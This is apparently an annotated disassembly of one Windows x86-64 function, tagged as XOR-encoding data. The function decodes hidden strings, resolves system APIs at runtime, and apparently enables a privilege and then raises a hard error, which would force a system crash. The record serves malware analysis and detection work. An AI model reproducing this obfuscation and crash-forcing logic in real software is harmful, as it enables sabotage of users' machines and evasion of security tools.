Function at 0x140065320
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xd0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1401cc1c0]
xor rax, rsp
mov qword [rbp + 0x1f], rax
xorps xmm0, xmm0
movups xmmword [rbp + 7], xmm0
lea r15, [rbp + 0x5f]
movabs r13, 0xff00ff00ff00ff07
mov qword [rbp + 0xf], r13
mov qword [rbp + 0x17], r15
mov rdi, qword [r15]
xor rdi, r13
mov qword [rbp + 7], rdi
xor ebx, ebx
mov qword [r15], rbx
movups xmm0, xmmword [str.jMVzXWKL4]
movups xmmword [rbp - 0x31], xmm0
movzx eax, word [0x14019e880]
mov word [rbp - 0x21], ax
movzx eax, byte [0x14019e882]
mov byte [rbp - 0x1f], al
mov r8d, ebx
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x1400654e5
movdqa xmm5, xmmword [0x14019edd0]
movdqa xmm4, xmmword [0x14019ef40]
movdqa xmm6, xmmword [0x14019ee10]
movdqa xmm0, xmmword [0x14019eea0]
movdqa xmmword [rbp - 0x69], xmm0
lea rcx, [rbp - 0x2d]
mov edx, dword [rbp - 0x69]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400653e0
cmp r8d, 0x13
jge 0x140065520
movsxd rax, r8d
lea r9, [rbp - 0x31]
add r9, rax
nop
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1400654f0
movups xmm0, xmmword [0x14019d918]
movups xmmword [rbp - 0x49], xmm0
mov eax, dword [0x14019d928]
mov dword [rbp - 0x39], eax
mov r12d, WSASetLastError
cmp word [0x14019d92a], 0
je 0x140065576
mov word [rbp - 0x49], r12w
xor word [rbp - 0x47], 0x39
xor word [rbp - 0x45], 0x3a
xor word [rbp - 0x43], 0x3b
xor word [rbp - 0x41], 0x3c
xor word [rbp - 0x3f], 0x3d
xor word [rbp - 0x3d], 0x3e
xor word [rbp - 0x3b], 0x3f
xor word [rbp - 0x39], 0x40
xor word [rbp - 0x37], 0x41
lea rcx, [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [rbp - 0x31]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
movups xmm0, xmmword [0x14019e320]
movups xmmword [rbp - 0x19], xmm0
movzx ecx, byte [0x14019e330]
mov byte [rbp - 9], cl
cmp esi, 2
jl 0x1400656e2
movdqa xmm5, xmmword [0x14019edd0]
movdqa xmm4, xmmword [0x14019ef40]
movdqa xmm6, xmmword [0x14019ee10]
movdqa xmm0, xmmword [0x14019eea0]
movdqa xmmword [rbp - 0x69], xmm0
lea rcx, [rbp - 0x15]
mov edx, dword [rbp - 0x69]
nop word [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14019ee80]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x10
jl 0x1400655e0
cmp eax, 0x11
jge 0x14006571c
movsxd rax, ebx
lea r8, [rbp - 0x19]
add r8, rax
nop dword [rax]
mov eax, 0x4bda12f7
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, bl
sub al, cl
add al, 0x38
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x11
jl 0x1400656f0
movups xmm0, xmmword [0x14019d918]
movups xmmword [rbp - 0x69], xmm0
mov eax, dword [0x14019d928]
mov dword [rbp - 0x59], eax
cmp word [0x14019d92a], 0
je 0x14006576c
mov word [rbp - 0x69], r12w
xor word [rbp - 0x67], 0x39
xor word [rbp - 0x65], 0x3a
xor word [rbp - 0x63], 0x3b
xor word [rbp - 0x61], 0x3c
xor word [rbp - 0x5f], 0x3d
xor word [rbp - 0x5d], 0x3e
xor word [rbp - 0x5b], 0x3f
xor word [rbp - 0x59], 0x40
xor word [rbp - 0x57], 0x41
lea rcx, [rbp - 0x69]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [rbp - 0x19]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea r9, [rbp - 1]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call r14
lea rax, [rbp + 3]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rbx
nop
xor rdi, r13
mov qword [r15], rdi
mov rcx, qword [rbp + 0x1f]
xor rcx, rsp
call fcn.140117bc0
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret